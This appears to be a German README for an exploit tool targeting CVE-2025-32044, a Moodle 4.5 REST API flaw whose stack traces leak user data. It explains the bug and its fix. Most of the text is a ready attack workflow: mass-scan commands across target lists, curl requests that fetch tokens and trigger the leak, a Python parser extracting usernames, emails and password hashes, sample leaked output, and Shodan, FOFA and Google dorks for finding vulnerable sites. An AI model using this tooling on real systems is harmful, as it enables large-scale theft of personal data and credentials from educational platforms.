
Moodle 4.5.0-4.5.2 Unauthentifizierte REST-API-Offenlegung von Benutzerdaten über Stack-Trace-Argument-Leck | CVSS 7.5
CVE-2025-32044 ist eine hochriskante (CVSS 7.5) nicht authentifizierte Informationsoffenlegungsschwachstelle in Moodle LMS 4.5.0 bis 4.5.2.
Die Schwachstelle liegt im REST-API-Exception-Handler von Moodle – exception_response::get_payload_data() in lib/classes/router/response/exception_response.php. Vor dem Fix wurden PHP-Stack-Traces mit Funktionsargumenten in API-Fehlerantworten aufgenommen. Diese Argumente enthalten sensible Benutzerdaten, die über den Aufrufstapel weitergegeben werden – einschließlich Benutzernamen, vollständige Namen, E-Mail-Adressen und Passwort-Hashes.
Es ist keine Authentifizierung, kein Token und keine Benutzerinteraktion erforderlich, um das Leck auszulösen. Der Angreifer muss lediglich eine fehlerhafte Anfrage an einen beliebigen REST-API-Endpunkt senden, die eine interne Exception auslöst.
| Moodle-Version | Status |
|---|---|
| 4.5.0 – 4.5.2 | Verwundbar |
| 4.5.3+ | Gepatcht |
| < 4.5.0 | Nicht betroffen |
Alle Versionen mit zend.exception_ignore_args = On | Nicht betroffen |
Entdeckt von: Lucas Alonso (14. März 2025)
Moodle Tracker: MDL-84879
Advisory: MSA-25-0011
// lib/classes/router/response/exception_response.php (VOR dem Fix)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← enthält 'args'!
];
return $data;
}
Wenn während der REST-API-Verarbeitung eine Exception auftritt, enthält der PHP-Stack-Trace die Funktionsargumente (args) für jeden Frame im Aufrufstapel. Diese Argumente enthalten unbeabsichtigt Benutzertabellendaten, die von Funktionen weiter oben in der Aufrufkette verarbeitet wurden.
// lib/classes/router/response/exception_response.php (NACH dem Fix)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Plus Defense-in-Depth in lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Ziel: Moodle 4.5.0-4.5.2 ohne zend.exception_ignore_args
2. Fehlerhafte Anfrage an /webservice/rest/server.php senden
(z. B. core_user_get_users_by_field mit fehlenden erforderlichen Parametern)
3. Interne Exception während der Benutzerdatenverarbeitung ausgelöst
4. API-Fehlerantwort enthält Stack Trace mit 'args'
5. Args nach Benutzernamen, E-Mails, Hashes durchsuchen
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Einzelziel-Scan
python cve_2025_32044.py -t moodle.target.com
# Massen-Scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Massen-Scan mit mehr Threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Debug-Modus
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Einzelziel (Domain oder IP)
-f, --file Zielliste (eine pro Zeile)
-o, --output Preisgegebene Benutzerdaten in Datei speichern
--threads Gleichzeitige Arbeiter (Standard: 30)
--timeout Anfrage-Timeout in Sekunden (Standard: 10)
--debug Jede HTTP-Anfrage anzeigen
-v, --verbose Ausführliche Ausgabe
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : JA v4.5.1
WS Aktiviert: JA
Token : erhalten (admin)
═══ DATEN PREISGEGEBEN ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
E-Mails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Zeit : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Ziele: 500 | Threads: 30 | Modus: RUHIG
[LEAK] moodle-vuln-01.ac.id benutzer=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Erk:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Fertig | 320s | Ziele:500 Moodle:87 WS:32 Token:8 Preisgegeben:5
Schritt 1 — Moodle + Webdienste erkennen
# Prüfen, ob Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Webdienste prüfen
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS aktiviert + möglicherweise Gastzugang
# {"error":"Web services must be enabled..."} = WS deaktiviert
Schritt 2 — Token abrufen (falls möglich)
curl -sk 'https://target.com/login/token.php?username=BENUTZER&password=PASSWORT&service=moodle_mobile_app'
Schritt 3 — Exception auslösen & Leak erfassen
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Antwort enthält stacktrace mit args, wenn verwundbar
Schritt 4 — Preisgegebene Daten parsen
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"Benutzer: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
Erfolgreiche Ausnutzung liefert:
NUR ZU BILDUNGSZWECKEN UND AUTORISIERTEN TESTS.
Diese Software ist für Sicherheitsexperten bestimmt, die autorisierte Penetrationstests durchführen, für Organisationen, die ihre eigene Infrastruktur auditieren, und für Forscher, die die Ausnutzung von Schwachstellen untersuchen.
Die Autoren übernehmen keine Haftung für Missbrauch.
Dieses Projekt ist nicht mit Moodle Pty Ltd. verbunden.
| Feld | Quelle |
|---|
| Benutzername | user-Tabelle |
| Vollständiger Name | firstname + lastname |
Spalte email | |
| Passwort-Hash | bcrypt $2y$ / $2b$ Hashes |
| Letzte Login-IP | Spalte lastip |
| Benutzer-ID | Spalte id |
| Ressource | Link |
|---|
| Moodle Advisory MSA-25-0011 | moodle.org |
| Moodle Tracker MDL-84879 | tracker.moodle.org |
| Git Commit (Fix) | github.com/moodle/moodle/commit/41917db65e6b |
| NVD-Eintrag | CVE-2025-32044 |
| Entdecker | Lucas Alonso |